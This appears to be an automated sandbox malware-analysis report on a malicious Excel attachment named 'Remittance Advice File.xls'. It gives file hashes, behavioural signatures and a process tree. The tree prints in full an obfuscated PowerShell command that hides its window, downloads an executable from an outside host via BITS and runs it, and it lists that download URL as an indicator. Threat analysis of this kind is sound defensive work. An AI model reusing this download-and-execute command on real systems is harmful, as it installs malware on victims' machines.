Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
13-10-2021 16:47
Static task
static1
Behavioral task
behavioral1
Sample
Remittance Advice File.xls
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Remittance Advice File.xls
Resource
win10v20210408
General
-
Target
Remittance Advice File.xls
-
Size
73KB
-
MD5
ca027182d31698dcbb704e0d1a7c28d2
-
SHA1
628a5f48cbad45672a239e683bfc4eeadb82fbc3
-
SHA256
0e201d6a6fbac62df83faedc6af867e1b17de08220698b5f06c204ad4d936b83
-
SHA512
bbb8f18e4dbd1d67881a9c91b3da6bac785bb218dc04be3bb9f7aa7a01cd3b82d4ec234d438dd3f4bcbda44624c32535ab932321d6ca1a55e9d9bef65b0b7cfc
Malware Config
Extracted
http://thepunchlineexpose.com/Manager/AnyDesk.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2612 396 cmd.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 396 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2424 powershell.exe 2424 powershell.exe 2424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2424 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE 396 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 396 wrote to memory of 2612 396 EXCEL.EXE cmd.exe PID 396 wrote to memory of 2612 396 EXCEL.EXE cmd.exe PID 2612 wrote to memory of 2424 2612 cmd.exe powershell.exe PID 2612 wrote to memory of 2424 2612 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Remittance Advice File.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\institutionsport.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://thepunchlineexpose.com/Manager/AnyDesk.e`xe -Destination C:\Users\Public\Documents\weekshe.e`xe;C:\Users\Public\Documents\weekshe.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Documents\institutionsport.cmdMD5
e623d1a58b6060f53e373dc8d9850c87
SHA15d7ca4d6ffb2c4c96615b72acbf54060765c861d
SHA25699f121fdaf92f6bfdb6af9bf6813fd10ce95b848378b964739b1ae7e667e34e9
SHA512f8ae81455e3de663d89a255b46b98d3ff01c8741d73be3413163a2743ae2e00e47ec094f253f15cd8d0fa7aba04fbc31c52c7b23350435277a0507cbaa86f74b
-
memory/396-117-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmpFilesize
64KB
-
memory/396-115-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmpFilesize
64KB
-
memory/396-114-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmpFilesize
64KB
-
memory/396-118-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmpFilesize
64KB
-
memory/396-119-0x00000251CD890000-0x00000251CD892000-memory.dmpFilesize
8KB
-
memory/396-120-0x00000251CD890000-0x00000251CD892000-memory.dmpFilesize
8KB
-
memory/396-121-0x00000251CD890000-0x00000251CD892000-memory.dmpFilesize
8KB
-
memory/396-116-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmpFilesize
64KB
-
memory/2424-292-0x000001BE47CF0000-0x000001BE47CF2000-memory.dmpFilesize
8KB
-
memory/2424-275-0x0000000000000000-mapping.dmp
-
memory/2424-293-0x000001BE47CF3000-0x000001BE47CF5000-memory.dmpFilesize
8KB
-
memory/2424-419-0x000001BE47CF8000-0x000001BE47CF9000-memory.dmpFilesize
4KB
-
memory/2424-418-0x000001BE47CF6000-0x000001BE47CF8000-memory.dmpFilesize
8KB
-
memory/2612-272-0x0000000000000000-mapping.dmp